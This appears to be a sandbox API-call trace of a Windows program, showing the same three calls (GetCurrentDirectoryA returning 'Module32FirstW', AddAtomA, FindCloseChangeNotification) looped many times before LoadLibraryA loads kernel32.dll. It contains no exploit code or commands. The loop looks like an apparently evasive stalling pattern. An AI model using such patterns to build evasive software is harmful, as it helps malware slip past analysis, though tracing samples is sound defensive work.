0 [0056.932] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.932] AddAtomA (lpString=0x0) returned 0x0 [0056.932] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.932] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.932] AddAtomA (lpString=0x0) returned 0x0 [0056.932] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.932] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.932] AddAtomA (lpString=0x0) returned 0x0 [0056.932] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.932] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.932] AddAtomA (lpString=0x0) returned 0x0 [0056.932] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.932] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.932] AddAtomA (lpString=0x0) returned 0x0 [0056.932] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.932] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.932] AddAtomA (lpString=0x0) returned 0x0 [0056.932] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.932] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.932] AddAtomA (lpString=0x0) returned 0x0 [0056.932] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.932] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.932] AddAtomA (lpString=0x0) returned 0x0 [0056.932] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.932] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.932] AddAtomA (lpString=0x0) returned 0x0 [0056.932] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.932] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.932] AddAtomA (lpString=0x0) returned 0x0 [0056.932] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.932] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.933] AddAtomA (lpString=0x0) returned 0x0 [0056.933] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.933] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.933] AddAtomA (lpString=0x0) returned 0x0 [0056.933] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.933] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.933] AddAtomA (lpString=0x0) returned 0x0 [0056.933] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.933] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.933] AddAtomA (lpString=0x0) returned 0x0 [0056.933] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.933] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.933] AddAtomA (lpString=0x0) returned 0x0 [0056.933] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.933] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.933] AddAtomA (lpString=0x0) returned 0x0 [0056.933] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.933] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.933] AddAtomA (lpString=0x0) returned 0x0 [0056.933] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.933] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.933] AddAtomA (lpString=0x0) returned 0x0 [0056.933] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.933] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.933] AddAtomA (lpString=0x0) returned 0x0 [0056.933] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.933] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.933] AddAtomA (lpString=0x0) returned 0x0 [0056.933] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.933] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.933] AddAtomA (lpString=0x0) returned 0x0 [0056.933] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.934] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.934] AddAtomA (lpString=0x0) returned 0x0 [0056.934] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.934] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.934] AddAtomA (lpString=0x0) returned 0x0 [0056.934] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.934] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.934] AddAtomA (lpString=0x0) returned 0x0 [0056.934] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.934] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.934] AddAtomA (lpString=0x0) returned 0x0 [0056.934] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.934] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.934] AddAtomA (lpString=0x0) returned 0x0 [0056.934] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.934] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.934] AddAtomA (lpString=0x0) returned 0x0 [0056.934] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.934] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.934] AddAtomA (lpString=0x0) returned 0x0 [0056.934] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.934] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.934] AddAtomA (lpString=0x0) returned 0x0 [0056.934] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.934] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.934] AddAtomA (lpString=0x0) returned 0x0 [0056.934] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.934] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.934] AddAtomA (lpString=0x0) returned 0x0 [0056.934] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.934] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.934] AddAtomA (lpString=0x0) returned 0x0 [0056.934] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.935] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.935] AddAtomA (lpString=0x0) returned 0x0 [0056.935] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.935] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.935] AddAtomA (lpString=0x0) returned 0x0 [0056.935] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.935] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.935] AddAtomA (lpString=0x0) returned 0x0 [0056.935] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.935] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.935] AddAtomA (lpString=0x0) returned 0x0 [0056.935] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.935] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.935] AddAtomA (lpString=0x0) returned 0x0 [0056.935] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.935] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.935] AddAtomA (lpString=0x0) returned 0x0 [0056.935] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.935] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.935] AddAtomA (lpString=0x0) returned 0x0 [0056.935] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.935] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.935] AddAtomA (lpString=0x0) returned 0x0 [0056.935] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.935] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.935] AddAtomA (lpString=0x0) returned 0x0 [0056.935] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.935] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.935] AddAtomA (lpString=0x0) returned 0x0 [0056.935] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.935] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.935] AddAtomA (lpString=0x0) returned 0x0 [0056.935] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.935] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.935] AddAtomA (lpString=0x0) returned 0x0 [0056.936] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.936] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.936] AddAtomA (lpString=0x0) returned 0x0 [0056.936] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.936] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.936] AddAtomA (lpString=0x0) returned 0x0 [0056.936] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.936] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.936] AddAtomA (lpString=0x0) returned 0x0 [0056.936] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.936] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.936] AddAtomA (lpString=0x0) returned 0x0 [0056.936] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.936] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.936] AddAtomA (lpString=0x0) returned 0x0 [0056.936] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.936] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.936] AddAtomA (lpString=0x0) returned 0x0 [0056.936] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.936] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.936] AddAtomA (lpString=0x0) returned 0x0 [0056.936] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.936] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.936] AddAtomA (lpString=0x0) returned 0x0 [0056.936] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.936] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.936] AddAtomA (lpString=0x0) returned 0x0 [0056.936] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.936] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.936] AddAtomA (lpString=0x0) returned 0x0 [0056.936] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.936] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.936] AddAtomA (lpString=0x0) returned 0x0 [0056.936] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.937] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.937] AddAtomA (lpString=0x0) returned 0x0 [0056.937] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.937] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.937] AddAtomA (lpString=0x0) returned 0x0 [0056.937] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.937] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.937] AddAtomA (lpString=0x0) returned 0x0 [0056.937] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.937] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.937] AddAtomA (lpString=0x0) returned 0x0 [0056.937] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.937] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.937] AddAtomA (lpString=0x0) returned 0x0 [0056.937] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.937] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.937] AddAtomA (lpString=0x0) returned 0x0 [0056.937] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.937] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.937] AddAtomA (lpString=0x0) returned 0x0 [0056.937] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.937] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.937] AddAtomA (lpString=0x0) returned 0x0 [0056.937] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.937] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.937] AddAtomA (lpString=0x0) returned 0x0 [0056.937] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.937] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.937] AddAtomA (lpString=0x0) returned 0x0 [0056.937] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.937] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.937] AddAtomA (lpString=0x0) returned 0x0 [0056.937] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.938] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.938] AddAtomA (lpString=0x0) returned 0x0 [0056.938] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.938] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.938] AddAtomA (lpString=0x0) returned 0x0 [0056.938] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.938] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.938] AddAtomA (lpString=0x0) returned 0x0 [0056.938] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.938] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.938] AddAtomA (lpString=0x0) returned 0x0 [0056.938] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.938] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.938] AddAtomA (lpString=0x0) returned 0x0 [0056.938] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.938] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.938] AddAtomA (lpString=0x0) returned 0x0 [0056.938] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.938] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.938] AddAtomA (lpString=0x0) returned 0x0 [0056.938] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.938] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.938] AddAtomA (lpString=0x0) returned 0x0 [0056.938] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.938] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.938] AddAtomA (lpString=0x0) returned 0x0 [0056.938] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.938] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.938] AddAtomA (lpString=0x0) returned 0x0 [0056.938] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.938] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.938] AddAtomA (lpString=0x0) returned 0x0 [0056.938] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.939] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.939] AddAtomA (lpString=0x0) returned 0x0 [0056.939] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.939] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.939] AddAtomA (lpString=0x0) returned 0x0 [0056.939] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.939] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.939] AddAtomA (lpString=0x0) returned 0x0 [0056.939] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.939] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.939] AddAtomA (lpString=0x0) returned 0x0 [0056.939] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.939] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.939] AddAtomA (lpString=0x0) returned 0x0 [0056.939] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.939] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.939] AddAtomA (lpString=0x0) returned 0x0 [0056.939] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.939] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.939] AddAtomA (lpString=0x0) returned 0x0 [0056.939] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.939] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.939] AddAtomA (lpString=0x0) returned 0x0 [0056.939] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.939] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.939] AddAtomA (lpString=0x0) returned 0x0 [0056.939] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.939] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.939] AddAtomA (lpString=0x0) returned 0x0 [0056.939] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.939] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.939] AddAtomA (lpString=0x0) returned 0x0 [0056.939] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.939] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.940] AddAtomA (lpString=0x0) returned 0x0 [0056.940] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.940] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.940] AddAtomA (lpString=0x0) returned 0x0 [0056.940] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.940] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.940] AddAtomA (lpString=0x0) returned 0x0 [0056.940] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.940] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.940] AddAtomA (lpString=0x0) returned 0x0 [0056.940] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.940] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.940] AddAtomA (lpString=0x0) returned 0x0 [0056.940] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.940] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.940] AddAtomA (lpString=0x0) returned 0x0 [0056.940] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.940] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.940] AddAtomA (lpString=0x0) returned 0x0 [0056.940] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.940] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.940] AddAtomA (lpString=0x0) returned 0x0 [0056.940] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.940] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.940] AddAtomA (lpString=0x0) returned 0x0 [0056.940] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.940] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.940] AddAtomA (lpString=0x0) returned 0x0 [0056.940] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.940] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.940] AddAtomA (lpString=0x0) returned 0x0 [0056.940] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.940] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.940] AddAtomA (lpString=0x0) returned 0x0 [0056.940] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.941] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.941] AddAtomA (lpString=0x0) returned 0x0 [0056.941] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.941] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.941] AddAtomA (lpString=0x0) returned 0x0 [0056.941] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.941] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.941] AddAtomA (lpString=0x0) returned 0x0 [0056.941] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.941] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.941] AddAtomA (lpString=0x0) returned 0x0 [0056.941] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.941] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.941] AddAtomA (lpString=0x0) returned 0x0 [0056.941] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.941] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.941] AddAtomA (lpString=0x0) returned 0x0 [0056.941] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.941] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.941] AddAtomA (lpString=0x0) returned 0x0 [0056.941] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.941] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.941] AddAtomA (lpString=0x0) returned 0x0 [0056.941] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.941] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.941] AddAtomA (lpString=0x0) returned 0x0 [0056.941] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.941] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.941] AddAtomA (lpString=0x0) returned 0x0 [0056.941] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.941] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.941] AddAtomA (lpString=0x0) returned 0x0 [0056.942] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.942] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0056.959] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0056.959] 